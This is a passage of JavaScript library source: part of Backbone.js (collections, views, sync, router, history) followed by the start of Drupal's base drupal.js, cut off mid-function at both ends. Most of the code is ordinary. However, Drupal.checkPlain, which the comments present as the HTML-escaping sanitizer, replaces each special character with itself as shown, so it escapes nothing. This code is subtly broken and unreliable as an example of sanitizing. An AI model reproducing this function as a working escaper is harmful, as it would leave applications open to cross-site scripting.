if (sortable && !sort && existing.hasChanged(sortAttr)) sort = true;
}
models[i] = existing;
// If this is a new, valid model, push it to the `toAdd` list.
} else if (add) {
model = models[i] = this._prepareModel(attrs, options);
if (!model) continue;
toAdd.push(model);
// Listen to added models' events, and index models for lookup by
// `id` and by `cid`.
model.on('all', this._onModelEvent, this);
this._byId[model.cid] = model;
if (model.id != null) this._byId[model.id] = model;
}
if (order) order.push(existing || model);
}
// Remove nonexistent models if appropriate.
if (remove) {
for (i = 0, l = this.length; i < l; ++i) {
if (!modelMap[(model = this.models[i]).cid]) toRemove.push(model);
}
if (toRemove.length) this.remove(toRemove, options);
}
// See if sorting is needed, update `length` and splice in new models.
if (toAdd.length || (order && order.length)) {
if (sortable) sort = true;
this.length += toAdd.length;
if (at != null) {
for (i = 0, l = toAdd.length; i < l; i++) {
this.models.splice(at + i, 0, toAdd[i]);
}
} else {
if (order) this.models.length = 0;
var orderedModels = order || toAdd;
for (i = 0, l = orderedModels.length; i < l; i++) {
this.models.push(orderedModels[i]);
}
}
}
// Silently sort the collection if appropriate.
if (sort) this.sort({silent: true});
// Unless silenced, it's time to fire all appropriate add/sort events.
if (!options.silent) {
for (i = 0, l = toAdd.length; i < l; i++) {
(model = toAdd[i]).trigger('add', model, this, options);
}
if (sort || (order && order.length)) this.trigger('sort', this, options);
}
// Return the added (or merged) model (or models).
return singular ? models[0] : models;
},
// When you have more items than you want to add or remove individually,
// you can reset the entire set with a new list of models, without firing
// any granular `add` or `remove` events. Fires `reset` when finished.
// Useful for bulk operations and optimizations.
reset: function(models, options) {
options || (options = {});
for (var i = 0, l = this.models.length; i < l; i++) {
this._removeReference(this.models[i]);
}
options.previousModels = this.models;
this._reset();
models = this.add(models, _.extend({silent: true}, options));
if (!options.silent) this.trigger('reset', this, options);
return models;
},
// Add a model to the end of the collection.
push: function(model, options) {
return this.add(model, _.extend({at: this.length}, options));
},
// Remove a model from the end of the collection.
pop: function(options) {
var model = this.at(this.length - 1);
this.remove(model, options);
return model;
},
// Add a model to the beginning of the collection.
unshift: function(model, options) {
return this.add(model, _.extend({at: 0}, options));
},
// Remove a model from the beginning of the collection.
shift: function(options) {
var model = this.at(0);
this.remove(model, options);
return model;
},
// Slice out a sub-array of models from the collection.
slice: function() {
return slice.apply(this.models, arguments);
},
// Get a model from the set by id.
get: function(obj) {
if (obj == null) return void 0;
return this._byId[obj.id] || this._byId[obj.cid] || this._byId[obj];
},
// Get the model at the given index.
at: function(index) {
return this.models[index];
},
// Return models with matching attributes. Useful for simple cases of
// `filter`.
where: function(attrs, first) {
if (_.isEmpty(attrs)) return first ? void 0 : [];
return this[first ? 'find' : 'filter'](function(model) {
for (var key in attrs) {
if (attrs[key] !== model.get(key)) return false;
}
return true;
});
},
// Return the first model with matching attributes. Useful for simple cases
// of `find`.
findWhere: function(attrs) {
return this.where(attrs, true);
},
// Force the collection to re-sort itself. You don't need to call this under
// normal circumstances, as the set will maintain sort order as each item
// is added.
sort: function(options) {
if (!this.comparator) throw new Error('Cannot sort a set without a comparator');
options || (options = {});
// Run sort based on type of `comparator`.
if (_.isString(this.comparator) || this.comparator.length === 1) {
this.models = this.sortBy(this.comparator, this);
} else {
this.models.sort(_.bind(this.comparator, this));
}
if (!options.silent) this.trigger('sort', this, options);
return this;
},
// Pluck an attribute from each model in the collection.
pluck: function(attr) {
return _.invoke(this.models, 'get', attr);
},
// Fetch the default set of models for this collection, resetting the
// collection when they arrive. If `reset: true` is passed, the response
// data will be passed through the `reset` method instead of `set`.
fetch: function(options) {
options = options ? _.clone(options) : {};
if (options.parse === void 0) options.parse = true;
var success = options.success;
var collection = this;
options.success = function(resp) {
var method = options.reset ? 'reset' : 'set';
collection[method](resp, options);
if (success) success(collection, resp, options);
collection.trigger('sync', collection, resp, options);
};
wrapError(this, options);
return this.sync('read', this, options);
},
// Create a new instance of a model in this collection. Add the model to the
// collection immediately, unless `wait: true` is passed, in which case we
// wait for the server to agree.
create: function(model, options) {
options = options ? _.clone(options) : {};
if (!(model = this._prepareModel(model, options))) return false;
if (!options.wait) this.add(model, options);
var collection = this;
var success = options.success;
options.success = function(model, resp, options) {
if (options.wait) collection.add(model, options);
if (success) success(model, resp, options);
};
model.save(null, options);
return model;
},
// **parse** converts a response into a list of models to be added to the
// collection. The default implementation is just to pass it through.
parse: function(resp, options) {
return resp;
},
// Create a new collection with an identical list of models as this one.
clone: function() {
return new this.constructor(this.models);
},
// Private method to reset all internal state. Called when the collection
// is first initialized or reset.
_reset: function() {
this.length = 0;
this.models = [];
this._byId = {};
},
// Prepare a hash of attributes (or other model) to be added to this
// collection.
_prepareModel: function(attrs, options) {
if (attrs instanceof Model) {
if (!attrs.collection) attrs.collection = this;
return attrs;
}
options = options ? _.clone(options) : {};
options.collection = this;
var model = new this.model(attrs, options);
if (!model.validationError) return model;
this.trigger('invalid', this, model.validationError, options);
return false;
},
// Internal method to sever a model's ties to a collection.
_removeReference: function(model) {
if (this === model.collection) delete model.collection;
model.off('all', this._onModelEvent, this);
},
// Internal method called every time a model in the set fires an event.
// Sets need to update their indexes when models change ids. All other
// events simply proxy through. "add" and "remove" events that originate
// in other collections are ignored.
_onModelEvent: function(event, model, collection, options) {
if ((event === 'add' || event === 'remove') && collection !== this) return;
if (event === 'destroy') this.remove(model, options);
if (model && event === 'change:' + model.idAttribute) {
delete this._byId[model.previous(model.idAttribute)];
if (model.id != null) this._byId[model.id] = model;
}
this.trigger.apply(this, arguments);
}
});
// Underscore methods that we want to implement on the Collection.
// 90% of the core usefulness of Backbone Collections is actually implemented
// right here:
var methods = ['forEach', 'each', 'map', 'collect', 'reduce', 'foldl',
'inject', 'reduceRight', 'foldr', 'find', 'detect', 'filter', 'select',
'reject', 'every', 'all', 'some', 'any', 'include', 'contains', 'invoke',
'max', 'min', 'toArray', 'size', 'first', 'head', 'take', 'initial', 'rest',
'tail', 'drop', 'last', 'without', 'difference', 'indexOf', 'shuffle',
'lastIndexOf', 'isEmpty', 'chain'];
// Mix in each Underscore method as a proxy to `Collection#models`.
_.each(methods, function(method) {
Collection.prototype[method] = function() {
var args = slice.call(arguments);
args.unshift(this.models);
return _[method].apply(_, args);
};
});
// Underscore methods that take a property name as an argument.
var attributeMethods = ['groupBy', 'countBy', 'sortBy'];
// Use attributes instead of properties.
_.each(attributeMethods, function(method) {
Collection.prototype[method] = function(value, context) {
var iterator = _.isFunction(value) ? value : function(model) {
return model.get(value);
};
return _[method](this.models, iterator, context);
};
});
// Backbone.View
// -------------
// Backbone Views are almost more convention than they are actual code. A View
// is simply a JavaScript object that represents a logical chunk of UI in the
// DOM. This might be a single item, an entire list, a sidebar or panel, or
// even the surrounding frame which wraps your whole app. Defining a chunk of
// UI as a **View** allows you to define your DOM events declaratively, without
// having to worry about render order ... and makes it easy for the view to
// react to specific changes in the state of your models.
// Creating a Backbone.View creates its initial element outside of the DOM,
// if an existing element is not provided...
var View = Backbone.View = function(options) {
this.cid = _.uniqueId('view');
options || (options = {});
_.extend(this, _.pick(options, viewOptions));
this._ensureElement();
this.initialize.apply(this, arguments);
this.delegateEvents();
};
// Cached regex to split keys for `delegate`.
var delegateEventSplitter = /^(\S+)\s*(.*)$/;
// List of view options to be merged as properties.
var viewOptions = ['model', 'collection', 'el', 'id', 'attributes', 'className', 'tagName', 'events'];
// Set up all inheritable **Backbone.View** properties and methods.
_.extend(View.prototype, Events, {
// The default `tagName` of a View's element is `"div"`.
tagName: 'div',
// jQuery delegate for element lookup, scoped to DOM elements within the
// current view. This should be preferred to global lookups where possible.
$: function(selector) {
return this.$el.find(selector);
},
// Initialize is an empty function by default. Override it with your own
// initialization logic.
initialize: function(){},
// **render** is the core function that your view should override, in order
// to populate its element (`this.el`), with the appropriate HTML. The
// convention is for **render** to always return `this`.
render: function() {
return this;
},
// Remove this view by taking the element out of the DOM, and removing any
// applicable Backbone.Events listeners.
remove: function() {
this.$el.remove();
this.stopListening();
return this;
},
// Change the view's element (`this.el` property), including event
// re-delegation.
setElement: function(element, delegate) {
if (this.$el) this.undelegateEvents();
this.$el = element instanceof Backbone.$ ? element : Backbone.$(element);
this.el = this.$el[0];
if (delegate !== false) this.delegateEvents();
return this;
},
// Set callbacks, where `this.events` is a hash of
//
// *{"event selector": "callback"}*
//
// {
// 'mousedown .title': 'edit',
// 'click .button': 'save',
// 'click .open': function(e) { ... }
// }
//
// pairs. Callbacks will be bound to the view, with `this` set properly.
// Uses event delegation for efficiency.
// Omitting the selector binds the event to `this.el`.
// This only works for delegate-able events: not `focus`, `blur`, and
// not `change`, `submit`, and `reset` in Internet Explorer.
delegateEvents: function(events) {
if (!(events || (events = _.result(this, 'events')))) return this;
this.undelegateEvents();
for (var key in events) {
var method = events[key];
if (!_.isFunction(method)) method = this[events[key]];
if (!method) continue;
var match = key.match(delegateEventSplitter);
var eventName = match[1], selector = match[2];
method = _.bind(method, this);
eventName += '.delegateEvents' + this.cid;
if (selector === '') {
this.$el.on(eventName, method);
} else {
this.$el.on(eventName, selector, method);
}
}
return this;
},
// Clears all callbacks previously bound to the view with `delegateEvents`.
// You usually don't need to use this, but may wish to if you have multiple
// Backbone views attached to the same DOM element.
undelegateEvents: function() {
this.$el.off('.delegateEvents' + this.cid);
return this;
},
// Ensure that the View has a DOM element to render into.
// If `this.el` is a string, pass it through `$()`, take the first
// matching element, and re-assign it to `el`. Otherwise, create
// an element from the `id`, `className` and `tagName` properties.
_ensureElement: function() {
if (!this.el) {
var attrs = _.extend({}, _.result(this, 'attributes'));
if (this.id) attrs.id = _.result(this, 'id');
if (this.className) attrs['class'] = _.result(this, 'className');
var $el = Backbone.$('<' + _.result(this, 'tagName') + '>').attr(attrs);
this.setElement($el, false);
} else {
this.setElement(_.result(this, 'el'), false);
}
}
});
// Backbone.sync
// -------------
// Override this function to change the manner in which Backbone persists
// models to the server. You will be passed the type of request, and the
// model in question. By default, makes a RESTful Ajax request
// to the model's `url()`. Some possible customizations could be:
//
// * Use `setTimeout` to batch rapid-fire updates into a single request.
// * Send up the models as XML instead of JSON.
// * Persist models via WebSockets instead of Ajax.
//
// Turn on `Backbone.emulateHTTP` in order to send `PUT` and `DELETE` requests
// as `POST`, with a `_method` parameter containing the true HTTP method,
// as well as all requests with the body as `application/x-www-form-urlencoded`
// instead of `application/json` with the model in a param named `model`.
// Useful when interfacing with server-side languages like **PHP** that make
// it difficult to read the body of `PUT` requests.
Backbone.sync = function(method, model, options) {
var type = methodMap[method];
// Default options, unless specified.
_.defaults(options || (options = {}), {
emulateHTTP: Backbone.emulateHTTP,
emulateJSON: Backbone.emulateJSON
});
// Default JSON-request options.
var params = {type: type, dataType: 'json'};
// Ensure that we have a URL.
if (!options.url) {
params.url = _.result(model, 'url') || urlError();
}
// Ensure that we have the appropriate request data.
if (options.data == null && model && (method === 'create' || method === 'update' || method === 'patch')) {
params.contentType = 'application/json';
params.data = JSON.stringify(options.attrs || model.toJSON(options));
}
// For older servers, emulate JSON by encoding the request into an HTML-form.
if (options.emulateJSON) {
params.contentType = 'application/x-www-form-urlencoded';
params.data = params.data ? {model: params.data} : {};
}
// For older servers, emulate HTTP by mimicking the HTTP method with `_method`
// And an `X-HTTP-Method-Override` header.
if (options.emulateHTTP && (type === 'PUT' || type === 'DELETE' || type === 'PATCH')) {
params.type = 'POST';
if (options.emulateJSON) params.data._method = type;
var beforeSend = options.beforeSend;
options.beforeSend = function(xhr) {
xhr.setRequestHeader('X-HTTP-Method-Override', type);
if (beforeSend) return beforeSend.apply(this, arguments);
};
}
// Don't process data on a non-GET request.
if (params.type !== 'GET' && !options.emulateJSON) {
params.processData = false;
}
// If we're sending a `PATCH` request, and we're in an old Internet Explorer
// that still has ActiveX enabled by default, override jQuery to use that
// for XHR instead. Remove this line when jQuery supports `PATCH` on IE8.
if (params.type === 'PATCH' && noXhrPatch) {
params.xhr = function() {
return new ActiveXObject("Microsoft.XMLHTTP");
};
}
// Make the request, allowing the user to override any Ajax options.
var xhr = options.xhr = Backbone.ajax(_.extend(params, options));
model.trigger('request', model, xhr, options);
return xhr;
};
var noXhrPatch = typeof window !== 'undefined' && !!window.ActiveXObject && !(window.XMLHttpRequest && (new XMLHttpRequest).dispatchEvent);
// Map from CRUD to HTTP for our default `Backbone.sync` implementation.
var methodMap = {
'create': 'POST',
'update': 'PUT',
'patch': 'PATCH',
'delete': 'DELETE',
'read': 'GET'
};
// Set the default implementation of `Backbone.ajax` to proxy through to `$`.
// Override this if you'd like to use a different library.
Backbone.ajax = function() {
return Backbone.$.ajax.apply(Backbone.$, arguments);
};
// Backbone.Router
// ---------------
// Routers map faux-URLs to actions, and fire events when routes are
// matched. Creating a new one sets its `routes` hash, if not set statically.
var Router = Backbone.Router = function(options) {
options || (options = {});
if (options.routes) this.routes = options.routes;
this._bindRoutes();
this.initialize.apply(this, arguments);
};
// Cached regular expressions for matching named param parts and splatted
// parts of route strings.
var optionalParam = /\((.*?)\)/g;
var namedParam = /(\(\?)?:\w+/g;
var splatParam = /\*\w+/g;
var escapeRegExp = /[\-{}\[\]+?.,\\\^$|#\s]/g;
// Set up all inheritable **Backbone.Router** properties and methods.
_.extend(Router.prototype, Events, {
// Initialize is an empty function by default. Override it with your own
// initialization logic.
initialize: function(){},
// Manually bind a single named route to a callback. For example:
//
// this.route('search/:query/p:num', 'search', function(query, num) {
// ...
// });
//
route: function(route, name, callback) {
if (!_.isRegExp(route)) route = this._routeToRegExp(route);
if (_.isFunction(name)) {
callback = name;
name = '';
}
if (!callback) callback = this[name];
var router = this;
Backbone.history.route(route, function(fragment) {
var args = router._extractParameters(route, fragment);
callback && callback.apply(router, args);
router.trigger.apply(router, ['route:' + name].concat(args));
router.trigger('route', name, args);
Backbone.history.trigger('route', router, name, args);
});
return this;
},
// Simple proxy to `Backbone.history` to save a fragment into the history.
navigate: function(fragment, options) {
Backbone.history.navigate(fragment, options);
return this;
},
// Bind all defined routes to `Backbone.history`. We have to reverse the
// order of the routes here to support behavior where the most general
// routes can be defined at the bottom of the route map.
_bindRoutes: function() {
if (!this.routes) return;
this.routes = _.result(this, 'routes');
var route, routes = _.keys(this.routes);
while ((route = routes.pop()) != null) {
this.route(route, this.routes[route]);
}
},
// Convert a route string into a regular expression, suitable for matching
// against the current location hash.
_routeToRegExp: function(route) {
route = route.replace(escapeRegExp, '\\$&')
.replace(optionalParam, '(?:$1)?')
.replace(namedParam, function(match, optional) {
return optional ? match : '([^\/]+)';
})
.replace(splatParam, '(.*?)');
return new RegExp('^' + route + '$');
},
// Given a route, and a URL fragment that it matches, return the array of
// extracted decoded parameters. Empty or unmatched parameters will be
// treated as `null` to normalize cross-browser behavior.
_extractParameters: function(route, fragment) {
var params = route.exec(fragment).slice(1);
return _.map(params, function(param) {
return param ? decodeURIComponent(param) : null;
});
}
});
// Backbone.History
// ----------------
// Handles cross-browser history management, based on either
// [pushState](http://diveintohtml5.info/history.html) and real URLs, or
// [onhashchange](https://developer.mozilla.org/en-US/docs/DOM/window.onhashchange)
// and URL fragments. If the browser supports neither (old IE, natch),
// falls back to polling.
var History = Backbone.History = function() {
this.handlers = [];
_.bindAll(this, 'checkUrl');
// Ensure that `History` can be used outside of the browser.
if (typeof window !== 'undefined') {
this.location = window.location;
this.history = window.history;
}
};
// Cached regex for stripping a leading hash/slash and trailing space.
var routeStripper = /^[#\/]|\s+$/g;
// Cached regex for stripping leading and trailing slashes.
var rootStripper = /^\/+|\/+$/g;
// Cached regex for detecting MSIE.
var isExplorer = /msie [\w.]+/;
// Cached regex for removing a trailing slash.
var trailingSlash = /\/$/;
// Cached regex for stripping urls of hash and query.
var pathStripper = /[?#].*$/;
// Has the history handling already been started?
History.started = false;
// Set up all inheritable **Backbone.History** properties and methods.
_.extend(History.prototype, Events, {
// The default interval to poll for hash changes, if necessary, is
// twenty times a second.
interval: 50,
// Gets the true hash value. Cannot use location.hash directly due to bug
// in Firefox where location.hash will always be decoded.
getHash: function(window) {
var match = (window || this).location.href.match(/#(.*)$/);
return match ? match[1] : '';
},
// Get the cross-browser normalized URL fragment, either from the URL,
// the hash, or the override.
getFragment: function(fragment, forcePushState) {
if (fragment == null) {
if (this._hasPushState || !this._wantsHashChange || forcePushState) {
fragment = this.location.pathname;
var root = this.root.replace(trailingSlash, '');
if (!fragment.indexOf(root)) fragment = fragment.slice(root.length);
} else {
fragment = this.getHash();
}
}
return fragment.replace(routeStripper, '');
},
// Start the hash change handling, returning `true` if the current URL matches
// an existing route, and `false` otherwise.
start: function(options) {
if (History.started) throw new Error("Backbone.history has already been started");
History.started = true;
// Figure out the initial configuration. Do we need an iframe?
// Is pushState desired ... is it available?
this.options = _.extend({root: '/'}, this.options, options);
this.root = this.options.root;
this._wantsHashChange = this.options.hashChange !== false;
this._wantsPushState = !!this.options.pushState;
this._hasPushState = !!(this.options.pushState && this.history && this.history.pushState);
var fragment = this.getFragment();
var docMode = document.documentMode;
var oldIE = (isExplorer.exec(navigator.userAgent.toLowerCase()) && (!docMode || docMode <= 7));
// Normalize root to always include a leading and trailing slash.
this.root = ('/' + this.root + '/').replace(rootStripper, '/');
if (oldIE && this._wantsHashChange) {
this.iframe = Backbone.$('<iframe src="javascript:0" tabindex="-1" />').hide().appendTo('body')[0].contentWindow;
this.navigate(fragment);
}
// Depending on whether we're using pushState or hashes, and whether
// 'onhashchange' is supported, determine how we check the URL state.
if (this._hasPushState) {
Backbone.$(window).on('popstate', this.checkUrl);
} else if (this._wantsHashChange && ('onhashchange' in window) && !oldIE) {
Backbone.$(window).on('hashchange', this.checkUrl);
} else if (this._wantsHashChange) {
this._checkUrlInterval = setInterval(this.checkUrl, this.interval);
}
// Determine if we need to change the base url, for a pushState link
// opened by a non-pushState browser.
this.fragment = fragment;
var loc = this.location;
var atRoot = loc.pathname.replace(/[^\/]$/, '$&/') === this.root;
// Transition from hashChange to pushState or vice versa if both are
// requested.
if (this._wantsHashChange && this._wantsPushState) {
// If we've started off with a route from a `pushState`-enabled
// browser, but we're currently in a browser that doesn't support it...
if (!this._hasPushState && !atRoot) {
this.fragment = this.getFragment(null, true);
this.location.replace(this.root + this.location.search + '#' + this.fragment);
// Return immediately as browser will do redirect to new url
return true;
// Or if we've started out with a hash-based route, but we're currently
// in a browser where it could be `pushState`-based instead...
} else if (this._hasPushState && atRoot && loc.hash) {
this.fragment = this.getHash().replace(routeStripper, '');
this.history.replaceState({}, document.title, this.root + this.fragment + loc.search);
}
}
if (!this.options.silent) return this.loadUrl();
},
// Disable Backbone.history, perhaps temporarily. Not useful in a real app,
// but possibly useful for unit testing Routers.
stop: function() {
Backbone.$(window).off('popstate', this.checkUrl).off('hashchange', this.checkUrl);
clearInterval(this._checkUrlInterval);
History.started = false;
},
// Add a route to be tested when the fragment changes. Routes added later
// may override previous routes.
route: function(route, callback) {
this.handlers.unshift({route: route, callback: callback});
},
// Checks the current URL to see if it has changed, and if it has,
// calls `loadUrl`, normalizing across the hidden iframe.
checkUrl: function(e) {
var current = this.getFragment();
if (current === this.fragment && this.iframe) {
current = this.getFragment(this.getHash(this.iframe));
}
if (current === this.fragment) return false;
if (this.iframe) this.navigate(current);
this.loadUrl();
},
// Attempt to load the current URL fragment. If a route succeeds with a
// match, returns `true`. If no defined routes matches the fragment,
// returns `false`.
loadUrl: function(fragment) {
fragment = this.fragment = this.getFragment(fragment);
return _.any(this.handlers, function(handler) {
if (handler.route.test(fragment)) {
handler.callback(fragment);
return true;
}
});
},
// Save a fragment into the hash history, or replace the URL state if the
// 'replace' option is passed. You are responsible for properly URL-encoding
// the fragment in advance.
//
// The options object can contain `trigger: true` if you wish to have the
// route callback be fired (not usually desirable), or `replace: true`, if
// you wish to modify the current URL without adding an entry to the history.
navigate: function(fragment, options) {
if (!History.started) return false;
if (!options || options === true) options = {trigger: !!options};
var url = this.root + (fragment = this.getFragment(fragment || ''));
// Strip the fragment of the query and hash for matching.
fragment = fragment.replace(pathStripper, '');
if (this.fragment === fragment) return;
this.fragment = fragment;
// Don't include a trailing slash on the root.
if (fragment === '' && url !== '/') url = url.slice(0, -1);
// If pushState is available, we use it to set the fragment as a real URL.
if (this._hasPushState) {
this.history[options.replace ? 'replaceState' : 'pushState']({}, document.title, url);
// If hash changes haven't been explicitly disabled, update the hash
// fragment to store history.
} else if (this._wantsHashChange) {
this._updateHash(this.location, fragment, options.replace);
if (this.iframe && (fragment !== this.getFragment(this.getHash(this.iframe)))) {
// Opening and closing the iframe tricks IE7 and earlier to push a
// history entry on hash-tag change. When replace is true, we don't
// want this.
if(!options.replace) this.iframe.document.open().close();
this._updateHash(this.iframe.location, fragment, options.replace);
}
// If you've told us that you explicitly don't want fallback hashchange-
// based history, then `navigate` becomes a page refresh.
} else {
return this.location.assign(url);
}
if (options.trigger) return this.loadUrl(fragment);
},
// Update the hash location, either replacing the current entry, or adding
// a new one to the browser history.
_updateHash: function(location, fragment, replace) {
if (replace) {
var href = location.href.replace(/(javascript:|#).*$/, '');
location.replace(href + '#' + fragment);
} else {
// Some browsers require that `hash` contains a leading #.
location.hash = '#' + fragment;
}
}
});
// Create the default Backbone.history.
Backbone.history = new History;
// Helpers
// -------
// Helper function to correctly set up the prototype chain, for subclasses.
// Similar to `goog.inherits`, but uses a hash of prototype properties and
// class properties to be extended.
var extend = function(protoProps, staticProps) {
var parent = this;
var child;
// The constructor function for the new subclass is either defined by you
// (the "constructor" property in your `extend` definition), or defaulted
// by us to simply call the parent's constructor.
if (protoProps && _.has(protoProps, 'constructor')) {
child = protoProps.constructor;
} else {
child = function(){ return parent.apply(this, arguments); };
}
// Add static properties to the constructor function, if supplied.
_.extend(child, parent, staticProps);
// Set the prototype chain to inherit from `parent`, without calling
// `parent`'s constructor function.
var Surrogate = function(){ this.constructor = child; };
Surrogate.prototype = parent.prototype;
child.prototype = new Surrogate;
// Add prototype properties (instance properties) to the subclass,
// if supplied.
if (protoProps) _.extend(child.prototype, protoProps);
// Set a convenience property in case the parent's prototype is needed
// later.
child.__super__ = parent.prototype;
return child;
};
// Set up inheritance for the model, collection, router, view and history.
Model.extend = Collection.extend = Router.extend = View.extend = History.extend = extend;
// Throw an error when a URL is needed, and none is supplied.
var urlError = function() {
throw new Error('A "url" property or function must be specified');
};
// Wrap an optional error callback with a fallback error event.
var wrapError = function(model, options) {
var error = options.error;
options.error = function(resp) {
if (error) error(model, resp, options);
model.trigger('error', model, resp, options);
};
};
}).call(this);
;
/**
* Base framework for Drupal-specific JavaScript, behaviors, and settings.
*/
window.Drupal = { behaviors: {}, locale: {} };
// Class indicating that JS is enabled; used for styling purpose.
document.documentElement.className += ' js';
// Allow other JavaScript libraries to use $.
if (window.jQuery) {
jQuery.noConflict();
}
// JavaScript should be made compatible with libraries other than jQuery by
// wrapping it in an anonymous closure.
(function (domready, Drupal, drupalSettings) {
"use strict";
/**
* Custom error type thrown after attach/detach if one or more behaviors failed.
*
* @param list
* An array of errors thrown during attach/detach.
* @param event
* A string containing either 'attach' or 'detach'.
*/
function DrupalBehaviorError(list, event) {
this.name = 'DrupalBehaviorError';
this.event = event || 'attach';
this.list = list;
// Makes the list of errors readable.
var messageList = [];
messageList.push(this.event);
for (var i = 0, il = this.list.length; i < il; i++) {
messageList.push(this.list[i].behavior + ': ' + this.list[i].error.message);
}
this.message = messageList.join(' ; ');
}
DrupalBehaviorError.prototype = new Error();
/**
* Attach all registered behaviors to a page element.
*
* Behaviors are event-triggered actions that attach to page elements, enhancing
* default non-JavaScript UIs. Behaviors are registered in the Drupal.behaviors
* object using the method 'attach' and optionally also 'detach' as follows:
* @code
* Drupal.behaviors.behaviorName = {
* attach: function (context, settings) {
* ...
* },
* detach: function (context, settings, trigger) {
* ...
* }
* };
* @endcode
*
* Drupal.attachBehaviors is added below to the jQuery.ready event and therefore
* runs on initial page load. Developers implementing Ajax in their solutions
* should also call this function after new page content has been loaded,
* feeding in an element to be processed, in order to attach all behaviors to
* the new content.
*
* Behaviors should use
* @code
* var elements = $(context).find(selector).once('behavior-name');
* @endcode
* to ensure the behavior is attached only once to a given element. (Doing so
* enables the reprocessing of given elements, which may be needed on occasion
* despite the ability to limit behavior attachment to a particular element.)
*
* @param context
* An element to attach behaviors to. If none is given, the document element
* is used.
* @param settings
* An object containing settings for the current context. If none is given,
* the global drupalSettings object is used.
*/
Drupal.attachBehaviors = function (context, settings) {
context = context || document;
settings = settings || drupalSettings;
var i, errors = [], behaviors = Drupal.behaviors;
// Execute all of them.
for (i in behaviors) {
if (behaviors.hasOwnProperty(i) && typeof behaviors[i].attach === 'function') {
// Don't stop the execution of behaviors in case of an error.
try {
behaviors[i].attach(context, settings);
}
catch (e) {
errors.push({ behavior: i, error: e });
}
}
}
// Once all behaviors have been processed, inform the user about errors.
if (errors.length) {
throw new DrupalBehaviorError(errors, 'attach');
}
};
// Attach all behaviors.
domready(function () { Drupal.attachBehaviors(document, drupalSettings); });
/**
* Detach registered behaviors from a page element.
*
* Developers implementing AHAH/Ajax in their solutions should call this
* function before page content is about to be removed, feeding in an element
* to be processed, in order to allow special behaviors to detach from the
* content.
*
* Such implementations should look for the class name that was added in their
* corresponding Drupal.behaviors.behaviorName.attach implementation, i.e.
* behaviorName-processed, to ensure the behavior is detached only from
* previously processed elements.
*
* @param context
* An element to detach behaviors from. If none is given, the document element
* is used.
* @param settings
* An object containing settings for the current context. If none given, the
* global drupalSettings object is used.
* @param trigger
* A string containing what's causing the behaviors to be detached. The
* possible triggers are:
* - unload: (default) The context element is being removed from the DOM.
* - move: The element is about to be moved within the DOM (for example,
* during a tabledrag row swap). After the move is completed,
* Drupal.attachBehaviors() is called, so that the behavior can undo
* whatever it did in response to the move. Many behaviors won't need to
* do anything simply in response to the element being moved, but because
* IFRAME elements reload their "src" when being moved within the DOM,
* behaviors bound to IFRAME elements (like WYSIWYG editors) may need to
* take some action.
* - serialize: When an Ajax form is submitted, this is called with the
* form as the context. This provides every behavior within the form an
* opportunity to ensure that the field elements have correct content
* in them before the form is serialized. The canonical use-case is so
* that WYSIWYG editors can update the hidden textarea to which they are
* bound.
*
* @see Drupal.attachBehaviors
*/
Drupal.detachBehaviors = function (context, settings, trigger) {
context = context || document;
settings = settings || drupalSettings;
trigger = trigger || 'unload';
var i, errors = [], behaviors = Drupal.behaviors;
// Execute all of them.
for (i in behaviors) {
if (behaviors.hasOwnProperty(i) && typeof behaviors[i].detach === 'function') {
// Don't stop the execution of behaviors in case of an error.
try {
behaviors[i].detach(context, settings, trigger);
}
catch (e) {
errors.push({ behavior: i, error: e });
}
}
}
// Once all behaviors have been processed, inform the user about errors.
if (errors.length) {
throw new DrupalBehaviorError(errors, 'detach:' + trigger);
}
};
/**
* Helper to test document width for mobile configurations.
* @todo Temporary solution for the mobile initiative.
*/
Drupal.checkWidthBreakpoint = function (width) {
width = width || drupalSettings.widthBreakpoint || 640;
return (document.documentElement.clientWidth > width);
};
/**
* Encode special characters in a plain-text string for display as HTML.
*
* @param str
* The string to be encoded.
* @return
* The encoded string.
* @ingroup sanitization
*/
Drupal.checkPlain = function (str) {
str = str.toString()
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>');
return str;
};
/**
* Replace placeholders with sanitized values in a string.
*
* @param {String} str
* A string with placeholders.
* @param {Object} args
* An object of replacements pairs to make. Incidences of any key in this
* array are replaced with the corresponding value. Based on the first
* character of the key, the value is escaped and/or themed:
* - !variable: inserted as is
* - @variable: escape plain text to HTML (Drupal.checkPlain)
* - %variable: escape text and theme as a placeholder for user-submitted
* content (checkPlain + Drupal.theme('placeholder'))
*
* @return {String}
* Returns the replaced string.
*
* @see Drupal.t()
* @ingroup sanitization
*/
Drupal.formatString = function (str, args) {
// Transform arguments before inserting them.
for (var key in args) {
if (args.hasOwnProperty(key)) {
switch (key.charAt(0)) {
// Escaped only.
case '@':
args[key] = Drupal.checkPlain(args[key]);
break;
// Pass-through.
case '!':
break;
// Escaped and placeholder.
default:
args[key] = Drupal.theme('placeholder', args[key]);
break;
}
}
}
return Drupal.stringReplace(str, args, null);
};
/**
* Replace substring.
*
* The longest keys will be tried first. Once a substring has been replaced,
* its new value will not be searched again.
*
* @param {String} str
* A string with placeholders.
* @param {Object} args
* Key-value pairs.
* @param {Array|null} keys
* Array of keys from the "args". Internal use only.
*
* @return {String}
* Returns the replaced string.
*/
Drupal.stringReplace = function (str, args, keys) {
if (str.length === 0) {
return str;
}
// If the array of keys is not passed then collect the keys from the args.
if (!Array.isArray(keys)) {
keys = [];
for (var k in args) {
if (args.hasOwnProperty(k)) {
keys.push(k);
}
}
// Order the keys by the character length. The shortest one is the first.
keys.sort(function (a, b) { return a.length - b.length; });
}
if (keys.length === 0) {
return str;
}
// Take next longest one from the end.
var key = keys.pop();
var fragments = str.split(key);
if (keys.length) {
for (var i = 0; i < fragments.length; i++) {
// Process each fragment with a copy of remaining keys.
fragments[i] = Drupal.stringReplace(fragments[i], args, keys.slice(0));
}
}
return fragments.join(args[key]);
};
/**
* Translate strings to the page language or a given language.
*
* See the documentation of the server-side t() function for further details.
*
* @param str
* A string containing the English string to translate.
* @param args
* An object of replacements pairs to make after translation. Incidences
* of any key in this array are replaced with the corresponding value.
* See Drupal.formatString().
*
* @param options
* - 'context' (defaults to the empty context): The context the source string
* belongs to.
*
* @return
* The translated string.
*/
Drupal.t = function (str, args, options) {
options = options || {};
options.context = options.context || '';
// Fetch the localized version of the string.
if (Drupal.locale.strings && Drupal.locale.strings[options.context] && Drupal.locale.strings[options.context][str]) {
str = Drupal.locale.strings[options.context][str];
}
if (args) {
str = Drupal.formatString(str, args);
}
return str;
};
/**
* Returns the URL to a Drupal page.
*/
Drupal.url = function (path) {
return drupalSettings.path.basePath + drupalSettings.path.scriptPath + drupalSettings.path.pathPrefix + path;
